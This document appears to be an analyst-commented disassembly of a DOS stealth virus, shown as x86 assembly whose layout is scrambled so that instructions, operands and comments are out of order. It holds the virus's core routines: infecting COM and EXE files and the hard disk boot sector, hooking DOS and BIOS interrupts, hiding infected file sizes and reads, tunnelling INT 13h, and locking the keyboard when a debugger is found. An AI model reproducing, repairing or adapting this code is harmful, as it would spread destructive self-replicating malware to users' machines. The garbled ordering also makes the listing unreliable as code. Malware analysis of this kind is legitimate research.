; Restore first 3 bytes of ; the host.
XOR XOR XOR XOR XOR XOR
AX, BX, CX, DX, SI, DI,
AX BX CX DX SI DI
XCHG
BP, AX
RETF
; Clear registers.
; Restore FCB status in AX. ; Jump to the host.
Run_Old_Boot: XOR MOV
CX, CX ES, CX
; Zero ES.
MOV MOV MOV MOV
AX, BX, CX, DX,
; Read the standard MS-DOS ; bootsector.
0201h 7C00h 1 0180h
PUSH
Restore_EXE:
INT
13h
PUSH BX RETF
ES
; And go execute it.
ADD
DX, (100h/16)
; Get effective segment.
; Update old CS & SS with it. ADD ADD
CS:[SI+(EXE_CS-Boot_Loader)], DX DX, CS:[SI+(EXE_SS-Boot_Loader)]
; Restore host's original stack. MOV MOV
SS, DX SP, CS:[SI+(EXE_SP-Boot_Loader)]
XCHG
BP, AX
; Restore AX (FCB status).
; Jump to the host's original entrypoint.
Chk_Partition:
PUSH POP DS
JMP
DWORD PTR CS:[SI+(EXE_IP-Boot_Loader)]
INC
DI
MOV MOV
ES:[600h+(Act_Partition-File_Int21h)], DI DS:[SI+(Act_Partition-Boot_Loader)], DI
MOV
AX, 0200h
; Head 0, sector 2 (where ; the virusbody is located).
CMP JE
DS:[BX+DI], AX Run_Host
; MBS is already infected? ; Then just bail out.
MOV
DS:[BX+DI], AX
; Point partition's boot; sector to virusbody.
CS
CLC Swap_Boot_ID:
; Start of partition.
; No errors so far..
MOV
AX, 0AA55h
; Bootsector ID.
XCHG
DS:[SI+510], AX
; Swap-in bootsector ID.
PUSH JC
AX Chk_If_Unhook
; Save original word. ; Error occurred?
; Save original word in virusbody. MOV PUSH POP ES
[SI+(Original_Word-Boot_Loader)], AX
CS
MOV MOV MOV INT JC
AX, 0301h CX, 1 DX, 80h 03h Chk_If_Unhook
; Write patched MBS back ; to disk.
; Write the virusbody to the zero-track.
Chk_If_Unhook:
PUSH
MOV MOV MOV INT
AX, 0300h + (Virus_Size_512) BX, SI CX, 2 03h
MOV MOV MOV
AX, 0 ES, AX DS, AX
; Zero DS & ES (without ; changing any flags).
JNC
Restore_Int03h
; Harddisk was succesfully ; infected? If not, unhook ; the INT 13h stealth.
MOV MOV MOVSW MOVSW
SI, 600h+(Old_Int13h-File_Int21h) DI, (13h*4)
SI CLD CLI
Restore_Int03h: POP PUSH SI PUSH POP DS
SI
CS
; Restore INT 03h. ADD MOV MOVSW MOVSW
SI, (Old_Int03h-Boot_Loader) DI, (03h*4)
STI POP SI POP
DS:[SI+510]
JMP
Run_Host
; Restore original word.
; Called with ES:BX as vector address of INT 13h. Tunnel_Int13h: PUSHF ; Not necessary to tunnel from boot. CMP JE
BYTE PTR CS:[SI+(Origin-Boot_Loader)], Boot Push_CS_IP
POPF
PUSH Push_CS_IP: PUSH
MOV AX
AX, 300h
; Flags, TF & IF enabled.
PUSH BX
ES
; Untunneled INT 13h.
MOV MOV New_Int01h:
PUSH
PUSH PUSH
PUSH
AH, 01h DL, 80h
; Get status byte. ; 1st HDD.
PUSH MOV
BP BP, SP
; Setup a stack pointer.
PUSH AX
BX
; Save scrap registers.
MOV
BX, CS
; *** Not used.
MOV
AX, [BP+(2*2)]
; Get segment of next ; instruction.
CMP JA
AX, 70h Exit_Int01h
; In the DOS kernel? ; If not then get out.
XOR MOV
BX, BX DS, BX
; DS = IVT.
MOV
DS:[(13h*4)+2], AX
; Set tunneled address in ; IVT.
MOV MOV
BX, [BP+(1*2)] DS:[(13h*4)], BX
; And the IP..
CLI
DS ES
DI CALL
Get_Delta_1
Old_Int03h
DW
0, 0
Get_Delta_1:
POP
DI
; POP delta offset.
XCHG XCHG STOSW
BX, AX DS:[(03h*4)], AX
; Revector the tunneled ; INT 13h to INT 03h.
XCHG XCHG STOSW
BX, AX DS:[(03h*4)+2], AX
PUSH
DS
PUSH POP ES
CS
CLD
; ES = IVT.
POP ES PUSH
SI ; Unhook INT 01h. MOV MOV MOVSW
SI, 600h+(Old_Int01h-File_Int21h) DI, (01h*4)
MOVSW POP SI POP DI POP ES POP DS Exit_Int01h: POP BX POP BP
POP
AX
STI
; Restore registers.
; *** Useless instruction.
IRET
ComSpec_String ComSpec_Value ComSpec_Length
DB DB DW
'COMSPEC=' 13 DUP (0) 0
PUSH PUSH
DS AX
XOR MOV
AX, AX DS, AX
; DS = IVT.
CMP JA
DS:[(21h*4)+2], 1000h Exit_Int08h
; DOS hasn't grabbed INT 21h ; yet? Then wait some more..
PUSH PUSH PUSH
ES SI DI
PUSH POP
CS ES
MOV MOV NOP
AX, CS DI, OFFSET Old_Int21h+2
New_Int08h:
STD CLI XCHG STOSW
; Hook INT 21h. AX, DS:[(21h*4)+2]
MOV XCHG STOSW
AX, OFFSET Boot_Int21h AX, DS:[(21h*4)]
PUSH PUSH POP POP
DS ES DS ES
; Swap DS & ES.
MOV MOV MOVSW MOVSW
SI, DI DI, (08h*4)+2
; Unhook INT 08h.
STI
POP POP POP
DI SI ES
POP POP
AX DS
JMP
DWORD PTR CS:Old_Int08h
PUSH PUSH
DS AX
XOR MOV
AX, AX DS, AX
; DS = IVT.
MOV
AX, DS:[(01h*4)]
; Offset of INT 01h's ISR.
CMP JNE
AX, DS:[(03h*4)] Lock_Keyboard
; Same as INT 03h's ?
MOV
AX, DS:[(01h*4)+2]
; Segment of INT 01h's ISR.
CMP JE
AX, DS:[(03h*4)+2] Exit_No_Debug
; Same as INT 03h's ? ; If INT 01h != INT 03h then ; a debugger is active.
Lock_Keyboard:
MOV OUT
AL, 10000010b 21h, AL
; Disable keyboard & printer.
Exit_No_Debug: POP DS
POP
AX
Test_11h_12h:
CMP JE
AH, 11h Do_FCB_Stealth
; Findfirst (FCB) ?
CMP JNE
AH, 12h Check_4_Create
; Findnext (FCB) ?
Exit_Int08h:
Boot_Int21h:
; ; ; ;
This is the FCB stealth The rest of of the Rock
Do_FCB_Stealth: CALL
Do_Old_Int21h
; Do the filefind.
AL, AL IRET_FCB_St
; Error?
MOV CALL
AH, 51h Do_Old_Int21h
; Obtain current PSP.
MOV
ES, BX
CMP JNE
BX, ES:[16h] Exit_FCB_St
TEST JNZ PUSH PUSH PUSH
routine Rock Steady/NuKE used in his tut, with one or two bytes changed. the code also shows a certain influence Steady tuts.
ES AX BX
; Owner PSP == PSP ? (ie. is ; command interpreter?).
MOV MOV PUSH
BX, DX AL, [BX]
; Get first byte of FCB.
AX MOV CALL
AH, 2Fh Do_Old_Int21h
; Obtain current DTA.
INC JNZ
AL Test_Seconds
; It's an extended FCB ?
ADD
BX, 7
; Then skip extended stuff.
MOV
AX, ES:[BX.FCB_Time]
; Grab time word.
AND
AX, 0000000000011111b
; Mask out seconds value.
XOR JNZ
AL, (60/2) Exit_FCB_St
; 60 seconds? (infected?).
POP AX
Test_Seconds:
; Set the seconds value in the DTA to 2. AND OR
BYTE PTR ES:[BX.FCB_Time], 11100000b BYTE PTR ES:[BX.FCB_Time], (2/2)
; Subtract the virussize from the filesize. SUB SBB
ES:[BX.FCB_Size], Virus_Size ES:[BX.FCB_Size+2], AX
Exit_FCB_St: POP AX POP ES
POP
BX
IRET_FCB_St:
IRET
Check_4_Create: CMP JE
AH, 3Ch Set_RW_BX
; ; ; ;
CMP JE
AH, 3Dh Set_RW_AL
; Open file? ; Go infect it.
CMP JNE
AH, 3Eh Check_4_Read
; Close file?
JMP
Infect_3E
; Infect it if it was ; a newly created file.
CMP JE
AH, 3Fh J_Go_Chk_Secs
; Read file? ; Stealth the read.
CMP JE
AH, 40h J_Go_Chk_Secs
; Write file? ; Disinfect the file.
CMP JNE
AH, 42h Check_4_Exec
; Seek file?
CMP JB
AL, 02h J1_J_Old_i21h
; Seek EOF relative?
Check_4_Read:
Create/truncate file? Then save it's handle so it can be infected on close.
J_Go_Chk_Secs:
JMP
Go_Check_Secs
; Stealth stuff.
Check_4_Exec:
CMP JNE
AH, 4Bh Check_4_Exit
; Execute/load file?
CMP JB
AL, 02h CALL_Do_Infect
; It's either 4B00h or 4B01h? ; Else don't infect.
JMP
SHORT J1_J_Old_i21h
CMP JE
CS:Windows_Active, 1 J1_J_Old_i21h
; Is Windoze running? Then ; don't do anything.
CMP JNE
AX, 3D01h CALL_Do_Infect
; Open file, write-only?
INC
AL
; ; ; ;
CALL_Do_Infect: CALL
Do_Infect
; Infect it.
J1_J_Old_i21h:
JMP
JMP_Old_Int21h
Check_4_Exit:
CMP JNE
AH, 4Ch Check_4_Date_T
; Program terminate?
JMP
Check_Win_Exit
; Go check if it's Windoze.
Check_4_Date_T: CMP JNE
AH, 57h Chk_4_Create_N
; Get/set file date & time?
Stealth_Seconds
; Don't let em fuck with the ; seconds.
AH, 5Bh Set_RW_BX
; Create new file? ; Save it's handle for later.
CMP JNE
AX, 6C00h Chk_4_Res_Chk
; Extended open/create?
CMP JE
CS:Windows_Active, 1 J1_J_Old_i21h
; Is Windoze up and running? ; Then abort any infection.
CMP JNE
AX, 6C00h Save_Handle
; Don't infect on create.
OR AND
BL, 00000010b BL, 11111110b
; Change access mode to ; read/write.
MOV CALL
DX, SI Do_Infect
; DX = offset filepath.
PUSH ES AX CX SI
BX
Set_RW_AL:
JMP
Chk_4_Create_N: CMP JE
Set_RW_BX:
PUSH PUSH
Save_Handle: PUSH PUSH PUSH PUSH
Then change access mode to read/write so the virus can read from it when it wants to disinfect it.
BX DX
PUSH
DI
PUSH POP ES
DS
CALL
Get_End_DX
STD MOV
SI, DI
LODSB LODSW
PUSH PUSH
; SI = last word extension.
CALL
Check_Extension
; .COM/EXE extension?
MOV
CS:Valid_Handle, CL
; Mark handle as invalid (0).
JNE
Do_Open_Create
INC MOV
CX CS:Valid_Handle, CL
Do_Open_Create: POP POP SI POP CX POP AX POP ES POP BX POP DX PUSH
; Go to end of path.
; Mark handle as valid (1).
DI
AX CALL JC
Do_Old_Int21h Clear_Inf_Hand
; Do the open/create call.
INC INC
SP SP
; Remove the top word on ; the stack.
XCHG
BX, AX
; Save the new filehandle.
MOV CALL
AX, 5700h Do_Old_Int21h
; Get file's date & time.
CALL
Check_60_Secs
; It's infected?
XCHG
BX, AX
JNE
Save_Inf_Hand
MOV
CS:Valid_Handle, AL
; Mark handle as valid (> 0).
MOV
CS:File_Handle, AL
; Save this filehandle.
JMP
IRET_Flags
CX DX
POP DX POP CX
Save_Inf_Hand: POP BX
Clear_Inf_Hand: MOV POP AX
CS:Valid_Handle, 0
; Reset handle-valid boolean.
POP BX JMP
JMP_Old_Int21h
CMP JE
AX, 0EEE7h Return_ID_1
JMP
JMP_Old_Int21h
Return_ID_1:
MOV
AH, 0D7h
; Return ID in AX and return.
New_Int24h:
MOV IRET
AL, 03h
; Fail silently.
MOV
DI, DX
XOR MOV CLD REPNZ
AL, AL CL, 128
Chk_4_Res_Chk:
; It's the virus' TSR check?
Get_End_DX:
Get_End_DI:
; Scan to the end of the ; filepath.
SCASB
RETN
Do_Infect: PUSH PUSH PUSH PUSH PUSH PUSH PUSH
ES BX CX SI DI DS DX
PUSH POP ES
DS
PUSH
AX CALL
Get_End_DX
DEC
DI
; DI = last byte of filename.
DEC DI PUSH POP DS
CS
MOV MOV STD PUSH Comp_ComSpec:
CX, ComSpec_Length SI, OFFSET ComSpec_String+8+12
DI LODSB MOV
; Save ComSpec byte in AH. AH, AL
XCHG
SI, DI
LODS
BYTE PTR ES:[SI]
XCHG
SI, DI
AND
AX, 5F5Fh
; Fetch byte from filename.
; Convert word to uppercase.
CMP JNE
AH, AL Go_Check_Ext
LOOP
Comp_ComSpec
POP
DI
JMP
Exit_Infect
; Bytes match? ; If not it's not ComSpec.
; If it get's to here, the ; file is the COMSPEC, and ; infection is denied.
; Returns ZF if file has COM/EXE extension. Check_Extension: MOV CX, 2 Get_Extension:
LODS
WORD PTR ES:[SI]
AND
AX, 5F5Fh
XCHG
BX, AX
LOOP
Get_Extension
CMP JNE
AX, 'MO' Check_For_EXE
CMP
BX, 'C.' AND 5F5Fh
CMP JNE
AX, 'EX' Exit_Check_Ext
CMP
BX, 'E.' AND 5F5Fh
; Uppercase.
RETN Check_For_EXE:
Exit_Check_Ext: RETN Go_Check_Ext:
POP DEC
SI SI
; SI = last byte of filename. ; SI = last word of filename.
POP AX
AX
; AX on entry.
CMP PUSHF
AX, 4B00h
; Program execute?
CALL JE
Check_Extension Go_Chk_Win_Act
; File has COM/EXE extension?
POPF JE
Find_File_Name
JMP
Exit_Infect
Windows_Active
DB =
'CHKDSK', 0 BYTE PTR $-1
Mem_String
DB =
'MEM' $-1
PUSH
Go_Chk_Win_Act: POPF JNE
Check_Windows
Find_File_Name: INC
SI
; DI = byte before dot.
MOV
DI, SI
INC
SI
; SI = extension dot.
MOV SUB
CX, SI CX, DX
; Calculate path length.
XCHG
SI, DI
Chk_Start_Name: LODS
BYTE PTR ES:[SI]
; Fetch a byte from path.
CMP JE
AL, '\' Get_Start_Name
; Path seperator? Then start ; of filename is found.
LOOP
Chk_Start_Name
JNE
Chk_File_Name
Get_Start_Name: INC INC SI
Chk_File_Name:
SI
MOV
DX, SI
MOV SUB
CX, DI CX, DX
; Calculate length of ; filename without extension.
DEC MOV
DI SI, OFFSET Mem_String
; DI = last byte of filename.
CMP JE
CX, 3 Compare_Byte
; Can it be 'MEM' ?
LODSW LODSW CMP JNE Compare_Byte:
; ; ; ;
; SI = start of filename.
; SI = 'CHKDSK' string.
CX, 6 Check_Windows
; Can it be 'CHKDSK' ?
LODSB MOV
; Fetch byte of filename and ; save it in AH.
AH, AL
XCHG
SI, DI
LODS
BYTE PTR ES:[SI]
; Fetch byte of match string.
AND
AX, 5F5Fh
; Convert to uppercase.
CMP JNE
AH, AL Check_4_Win
; Bytes are the same? ; If not, skip this shit.
XCHG
SI, DI
LOOP
Compare_Byte
Now that either MEM or CHKDSK are about to be executed, the virus will temporarily hook INT 12h to stealth the total amount of DOS memory available, which these programs will display. MOV MOV
NOP
AX, OFFSET New_Int12h DI, OFFSET Old_Int12h
MOV PUSH POP ES
DS, CX
; DS = IVT.
XCHG STOSW
DS:[(12h*4)], AX
; Save & hook INT 12h.
MOV XCHG STOSW
AX, CS DS:[(12h*4)+2], AX
CS
CLD CLI
Check_4_Win:
Check_Windows:
STI JMP
SHORT Check_Windows
CMP JNE
CX, 3 Check_Windows
; Can it be 'WIN.COM' ?
CMP JNE
AL, 'N' Check_Windows
; (WI)N ?
DEC LODS
SI WORD PTR ES:[SI]
; SI = 1st word of filename.
AND
AX, 5F5Fh
; Uppercase.
CMP JNE
AX, 'IW' Check_Windows
; So it's WIN.COM ?
MOV
Windows_Active, 1
; Set Windoze-active flag.
CMP JE
CS:Windows_Active, 1 Exit_Infect
; Don't infect under Windoze.
XOR MOV
CX, CX DS, CX
; DS = IVT.
LES ES BX
BX, DS:[(24h*4)]
; Save original INT 24h.
CLI
PUSH PUSH
; Install own dummy critical-error handler. MOV MOV
DS:[(24h*4)], OFFSET New_Int24h DS:[(24h*4)+2], CS
STI PUSH
DS PUSH MOV
BP BP, SP
; Setup stackframe.
LDS
DX, [BP+(5*2)]
; DS:DX = path of file.
POP BP PUSH
DS
PUSH
DX MOV CALL CX JC
AX, 4300h Do_Old_Int21h
TEST JZ
CL, 00000001b Open_File
; Readonly bit set?
DEC
CX
; Remove readonly bit.
MOV CALL
AX, 4301h Do_Old_Int21h
; Set new attributes.
MOV CALL JC
AX, 3D02h Do_Old_Int21h Restore_Attr
; Open target file for r/w.
XCHG
BX, AX
; Save filehandle in BX.
MOV CALL JC
AX, 5700h Do_Old_Int21h Close_File
; Get file date & time.
CALL JE
Check_60_Secs Close_File
; Already infected?
PUSH PUSH
CX DX
; Save original filedate & ; time with 60 seconds set.
CALL
Infect_Handle
; Infect the handle.
JC
Close_File
; Error occurred?
MOV CALL
AX, 5701h Do_Old_Int21h
; Restore file date & time ; with 60 seconds.
Close_File:
MOV CALL
AH, 3Eh Do_Old_Int21h
; Close the file.
Restore_Attr: POP DX POP DS
POP
CX
; File path & attributes.
JC
Restore_Int24h
; Error occurred?
TEST JZ
CL, 00000001b Restore_Int24h
; Need to restore the ; readonly flag?
MOV CALL
AX, 4301h Do_Old_Int21h
; Fix file-attributes.
PUSH
Open_File:
; Get file's attributes.
Restore_Attr
POP DX POP CX
Restore_Int24h: POP POP BX POP AX MOV MOV
DS
DS:[(24h*4)], BX DS:[(24h*4)+2], AX
; Restore INT 24h.
Exit_Infect: POP DX POP DS POP DI POP SI POP CX POP BX POP ES
POP
AX
RETN
Infect_Handle: PUSH POP DS
CS
MOV
DX, OFFSET Buffer
; Read file's header.
MOV MOV CALL
CX, 24 AH, 3Fh Do_Old_Int21h
SUB JNZ
CX, AX Error_Exit_Inf
; All bytes were read?
PUSH
DS
; ES = CS.
XCHG
CX, AX
; CX = 24.
MOV MOV CLD REP
SI, DX DI, OFFSET Host_Header
; Save a copy of the original ; header.
MOV MOV
DI, DX SI, OFFSET EXE_Data
NOP
POP ES
MOVSB ; DX = header.
; Save host's original SS:SP. LES
AX, DWORD PTR [DI.Program_SS]
MOV MOV
[SI+(EXE_SP-EXE_Data)], ES [SI+(EXE_SS-EXE_Data)], AX
; Save host's original CS:IP.
Check_For_MZ:
LES
AX, DWORD PTR [DI.Program_IP]
MOV MOV
[SI+(EXE_IP-EXE_Data)], AX [SI+(EXE_CS-EXE_Data)], ES
MOV
Host_Type, CL
; Initialize file as .EXE.
MOV
AX, 'MZ'
; EXE marker.
CMP XCHG JNE
AX, [DI.EXE_ID] AH, AL Check_For_MZ
; .EXE-ID is 'ZM' ? ; Change .EXE-ID to 'MZ'.
MOV
[DI.EXE_ID], AX
; Set .EXE-ID to 'MZ'.
CMP
AX, [DI.EXE_ID]
; 'MZ' .EXE-file?
JE
Save_File_Size
INC
Host_Type
; Mark as .COM-file.
AX, 4202h DX, CX Do_Old_Int21h Exit_Inf_Hand
; Seek to EOF.
Save_File_Size: MOV MOV CALL JC
; Remember size of host for later use. MOV MOV
[DI+(Host_Size-Buffer)], AX [DI+(Host_Size-Buffer)+2], DX
CMP JE
Host_Type, EXE Check_Header
; File is .EXE-type? Then ; size check ain't needed.
CMP JB
AX,-(Virus_Size+264h) Append_Body
; .COM-file ain't too big?
Error_Exit_Inf: STC
; Else mark error.
Exit_Inf_Hand:
RETN
Check_Header:
PUSH
DI
MOV
CX, 9
MOV DEC
SI, [DI.File_512_Pages] ; Filesize in 512-byte pages. SI ; Undo 512-byte round.
XOR
DI, DI
; DI:SI = imagesize.
SHL RCL LOOP
SI, 1 DI, 1 Mul_512
; Calculate imagesize in ; DI:SI.
CMP
DX, DI
; High word doesn't match?
JNE
Error_Exit_Inf
; Then it's an overlay.
ADD
SI, [DI.Image_Mod_512]
; Image size remainder.
Mul_512:
POP DI
; Low word of filesize doesn't match?
Append_Body:
CMP JNE
SI, [DI+(Host_Size-Buffer)] Error_Exit_Inf
CMP SBB JC
AX, Virus_Size DX, 0 Exit_Inf_Hand
XOR
DX, DX
CMP JE
DX, [DI.Max_Size_Mem] Error_Exit_Inf
; Can't have a NULL maximum ; memory requirement.
MOV MOV CALL JC
CX, Virus_Size AH, 40h Do_Old_Int21h Exit_Inf_Hand
; Append virusbody to file.
SUB
CX, AX
; Were all bytes written?
; .EXE can't be smaller than ; the virus itself.
Infect_EXE:
PUSH
Mul_16:
JNZ
Error_Exit_Inf
; Else mark as failure.
MOV
DX, CX
; *** DX is already zero.
MOV CALL JC
AX, 4200h Do_Old_Int21h Exit_Inf_Hand
; Seek to BOF.
MOV
AX, [DI+(Host_Size-Buffer)]
CMP JE
Host_Type, COM Infect_COM
MOV
DX, [DI+(Host_Size-Buffer)+2]
MOV DI MOV XOR
CX, 4
SHL RCL LOOP
SI, 1 DI, 1 Mul_16
; Calculate headersize.
SUB SBB
AX, SI DX, DI
; Calculate imagesize.
MOV SHL
CL, 12 DX, CL
; 64k's DIV 4096 to get the ; new CS.
MOV MOV
[DI.Program_IP], AX [DI.Program_CS], DX
ADD
DX, 3408/16
MOV MOV
[DI.Program_SP], AX [DI.Program_SS], DX
ADD MOV
[DI.Min_Size_Mem], 448/16 AX, [DI.Min_Size_Mem]
CMP JB
AX, [DI.Max_Size_Mem] Calc_New_Img_S
; MaxMemSize must be atleast ; MinMemSize.
MOV
[DI.Max_Size_Mem], AX
; MaxMemSize == MinMemSize.
SI, [DI.Header_Size] DI, DI
POP DI
Calc_New_Img_S: MOV ADD PUSH AX
; Set new stack.
AX, [DI.Image_Mod_512] AX, Virus_Size
AND
AH, 1
MOV
[DI.Image_Mod_512], AX
MOV SHR
CL, 9 AX, CL
ADD MOV
[DI.File_512_Pages], AX DX, OFFSET Buffer
; AX modulo 512.
POP AX
NOP
; AX DIV 512.
Infect_COM: NOP
MOV JMP
CX, 24 SHORT Write_Header
; Write 24 bytes (MZ-header).
MOV
DX, OFFSET Buffer
MOV MOV
DI, DX BYTE PTR [DI], 0E9h
; JMP xxxx.
SUB
AX, 3
; Calculate displacement.
INC DI
PUSH POP ES
DS
CLD STOSW
Write_Header:
; Store JMP displacement.
MOV
CX, 3
; Write 3 bytes (JMP_Virus).
MOV CALL JC
AH, 40h Do_Old_Int21h Bad_Exit
; Write modified header.
CMP JE
AX, CX Good_Exit
; All bytes were written?
Bad_Exit:
STC
Good_Exit:
RETN
; Infect the handle of a newly created file when it is closed. Infect_3E: CMP CS:File_Handle, BL ; They're closing our handle? JNE Go_Close_Hnd
PUSH PUSH PUSH PUSH PUSH PUSH PUSH PUSH
DEC CX
CMP JNE
CS:Valid_Handle, 1 Go_Close_Hnd
; Does File_Handle contain ; a valid filehandle at all?
DEC
CS:Valid_Handle
; Reset the filehandle (0).
MOV XOR XOR CALL
AX, 4200h CX, CX DX, DX Do_Old_Int21h
; Seek to file's header.
CALL JC
Infect_Handle Exit_Infect_3E
; Go infect the file.
MOV CALL
AX, 5700h Do_Old_Int21h
INC
AL
; *** Not used.
OR
CL, (62/2)
; Set 60 seconds.
DS ES AX BX CX DX SI DI
MOV CALL
AX, 5701h Do_Old_Int21h
Exit_Infect_3E: POP POP SI POP DX POP CX POP BX POP AX POP ES POP DS
DI
Go_Close_Hnd:
CALL
Do_Old_Int21h
JMP
IRET_Flags
Go_Check_Secs: PUSH PUSH PUSH PUSH PUSH PUSH PUSH
ES AX BX CX DX SI DI MOV CALL
AX, 5700h Do_Old_Int21h
OR JC
AL, AL Exit_Go_Chk_Se
CALL
Check_60_Secs
Exit_Go_Chk_Se: POP POP SI POP DX POP CX POP BX POP AX POP ES
; *** This seems fucked, CF ; is always cleared after OR.
DI
JE
Stealth_Handle
JMP
JMP_Old_Int21h
MOV
AL, CL
OR DEC
CL, (62/2) CX
XOR
AL, CL
Check_60_Secs:
RETN
Stealth_Handle: PUSH DS PUSH
DX
; Set 60 seconds.
PUSH PUSH
CX AX
PUSH POP DS
CS
MOV
Read_Count, CX
; Save CX for later use.
XOR
CX, CX
MOV
New_Read_Count, CX
MOV XOR CALL
AX, 4201h DX, DX Do_Old_Int21h
; Get current file position.
MOV MOV
File_Pos, AX File_Pos+2, DX
; Save it for later.
MOV XOR CALL
AX, 4202h DX, DX Do_Old_Int21h
; Get filesize.
SUB SBB
AX, Virus_Size DX, 0
; Get original filesize.
MOV MOV
Orig_Size, AX Orig_Size+2, DX
; Save it.
CMP JNE
AH, 42h Rest_File_Pos
; It is a seek EOF relative?
POP
CX
; CX:DX = EOF displacement.
SUB SBB CALL
DX, Virus_Size CX, 0 Do_Old_Int21h
; Do the seek relative to ; the clean filesize instead ; of the infected size.
JMP
IRET_Flags
POP AX
POP DX POP DS PUSH
CX
POP CX
JMP_Cln_Handle: JMP
Clean_Handle
Rest_File_Pos:
PUSH
AX
MOV MOV MOV CALL
AX, 4200h DX, File_Pos CX, File_Pos+2 Do_Old_Int21h
; Restore original position.
OR JNZ
DX, DX JA_Chk_Body_Rd
; They're attempting to ; access the 1st 64k ?
CMP JA_Chk_Body_Rd: JA
AX, 23 Chk_Body_Reach
; The header in particular?
POP POP CX PUSH PUSH
AX
; Restore AX & CX.
CMP JNE
AH, 3Fh JMP_Cln_Handle
; It is a read? ; Else it's a write.
MOV
AX, CX
; AX = bytes to read.
ADD
CX, File_Pos
; Calculate end offset after ; the read.
JC
Calc_Count_Hdr
; Above 64k ?
CMP JB
CX, 24 Sub_St_Size
; Does the read touch the ; entire header?
AX, 24 AX, File_Pos
; Calculate howmany bytes ; to stealth in the header.
MOV
New_Read_Count, AX
; Save the new read count.
SUB
Read_Count, AX
; The header will be read by ; the virus, so adjust the ; caller read count.
MOV MOV MOV ADD ADC CALL
AX, 4200h CX, Orig_Size+2 DX, Orig_Size DX, OFFSET Host_Header CX, 0 Do_Old_Int21h
; ; ; ; ; ;
POP
CX
; CX = howmany bytes to ; stealth in header.
BP MOV
BP, SP
LDS
DX, [BP+(3*2)]
POP
BP
MOV CALL
AH, 3Fh Do_Old_Int21h
; Read the clean header ; into the caller's buffer.
ADD ADC
File_Pos, AX File_Pos+2, 0
; Update saved position.
MOV MOV MOV CALL
DX, File_Pos CX, File_Pos+2 AX, 4200h Do_Old_Int21h
; Restore file position.
CX AX
Calc_Count_Hdr: MOV SUB
Sub_St_Size:
PUSH
PUSH
AX
PUSH POP DS
CS
PUSH PUSH
AX CX
POP CX
Seek to the host's clean header. *** The caller's header offset should be added aswell, now it screws up on header reads that don't start at offset 0.
; Read buffer of the caller.
POP AX SUB JNZ
CX, AX Error_St_Exit
; Not all bytes were read? ; Then bail.
CMP JNZ
Read_Count, 0 Chk_Body_Reach
; No more bytes need to be ; read? Then IRET back.
MOV
AX, CX
; AX = 0.
JZ
Exit_Stealth_1
POP
DX
Exit_Stealth_1: POP POP DS
DX
POP CX POP CX
Error_St_Exit: POP DX
JMP Chk_Body_Reach: POP PUSH AX
IRET_Flags AX
; Value of AX on entry.
MOV MOV
CX, File_Pos DX, File_Pos+2
; Original fileposition ; where the action starts.
CMP JB
DX, Orig_Size+2 Calc_End_Pos
; Below virus' 64k ?
CMP JBE
CX, Orig_Size Calc_End_Pos
; Below virus' code? If not, ; the virusbody gets read or ; overwritten, so stealth it.
CMP JE
AH, 40h Clean_Handle
; If it's a write then go ; disinfect the handle.
XOR JZ
AX, AX Exit_Stealth_1
; Return 0 bytes read when ; they try to read from after ; the original host.
ADD ADC
CX, Read_Count DX, 0
; Calculate end position ; after the read/write.
CMP JB
DX, Orig_Size+2 Do_Function
; Below the virusbody?
CMP JBE
CX, Orig_Size Do_Function
CMP JE
AH, 40h Clean_Handle
MOV MOV
CX, Orig_Size DX, Orig_Size+2
SUB SBB
CX, File_Pos DX, File_Pos+2
POP AX POP CX
Calc_End_Pos:
; If it's a write then ; disinfect the handle.
OR JZ
DX, DX Set_New_Byte_C
MOV SUB
CX, -1 CX, New_Read_Count
Set_New_Byte_C: MOV
Read_Count, CX
Do_Function: POP CX POP DX POP DS PUSH
AX
PUSH PUSH
POP
; *** Obsolete instruction.
CX AX DX MOV ADD CALL
CX, CS:Read_Count DX, CS:New_Read_Count Do_Old_Int21h
ADD
AX, CS:New_Read_Count
CMP JE
CH, 3Fh Exit_Stealth_2
; It aint a read? Then it's ; a get/set filedate & time.
MOV CALL
AX, 5700h Do_Old_Int21h
; Get file's date & time.
INC OR
AL CL, (62/2)
; AX = 5701h. ; Set 60 seconds.
CALL
Do_Old_Int21h
POP DX POP CX
PUSH PUSH
AX DX
DEC CX
POP DX POP AX Exit_Stealth_2: POP JMP
CX IRET_Flags
Clean_Handle: MOV MOV
WORD PTR Valid_Handle, 0001h File_Handle, BL
MOV MOV MOV ADD ADC CALL
AX, 4200h CX, Orig_Size+2 DX, Orig_Size DX, OFFSET Host_Header CX, 0 Do_Old_Int21h
; Seek to the old header.
MOV MOV MOV
AH, 3Fh CX, 24 DX, OFFSET Buffer
; Read it in.
CALL
Do_Old_Int21h
NOP
MOV MOV MOV CALL
AX, 4200h DX, Orig_Size CX, Orig_Size+2 Do_Old_Int21h
; Seek to the old EOF.
MOV XOR CALL
AH, 40h CX, CX Do_Old_Int21h
; Write new EOF marker.
MOV XOR XOR CALL
AX, 4200h CX, CX DX, DX Do_Old_Int21h
; Seek to BOF.
MOV MOV MOV
AH, 40h CX, 24 DX, OFFSET Buffer
; Restore old header.
CALL
Do_Old_Int21h
MOV MOV MOV CALL
AX, 4200h DX, File_Pos CX, File_Pos+2 Do_Old_Int21h
JMP
SHORT JMP_Old_Int21h
POP POP
BX CX
; Remove return IP off stack. ; POP program's return CS.
DEC MOV
CX DS, CX
; Get program's MCB.
MOV
SI, 8
; SI = name of terminating ; program.
NOP
POP POP POP POP
; Restore original file pos.
AX CX DX DS
Check_Win_Exit:
PUSH PUSH PUSH
CX BX AX
CLD LODSW XCHG
; Fetch 1st word of filename. BX, AX
LODSW XCHG
DX, AX
CMP JNE
BX, 'IW' J2_J_Old_i21h
CMP JNE
DX, 'N' J2_J_Old_i21h
; Fetch 2nd word of filename.
POP AX ; Is it WIN.COM that's ; terminating?
J2_J_Old_i21h:
DEC
CS:Windows_Active
JMP
SHORT JMP_Old_Int21h
; If so, reset the flag.
Stealth_Seconds: PUSH AX PUSH CX PUSH DX MOV CALL PUSH PUSH
AX, 5700h Do_Old_Int21h
; Get file's date & time.
CALL
Check_60_Secs
; Check if it's infected.
JNE
JMP_Old_Int21h
; If it ain't then get out.
OR JNZ
AL, AL Stealth_Set
; Get file date & time? ; Else it's a set.
CALL
Do_Old_Int21h
; Do the call.
AND JMP
CL, 11100000b IRET_Flags
; Clear seconds.
OR
CL, (62/2)
; Set 60 seconds.
JNZ
JMP_Old_Int21h
; This jump is always taken.
PUSHF CALL
DWORD PTR CS:Old_Int21h
AX CX
POP CX POP AX POP DX POP CX POP AX
Stealth_Set: DEC CX
Do_Old_Int21h:
; Simulate an interrupt 21h.
RETN JMP_Old_Int21h: JMP
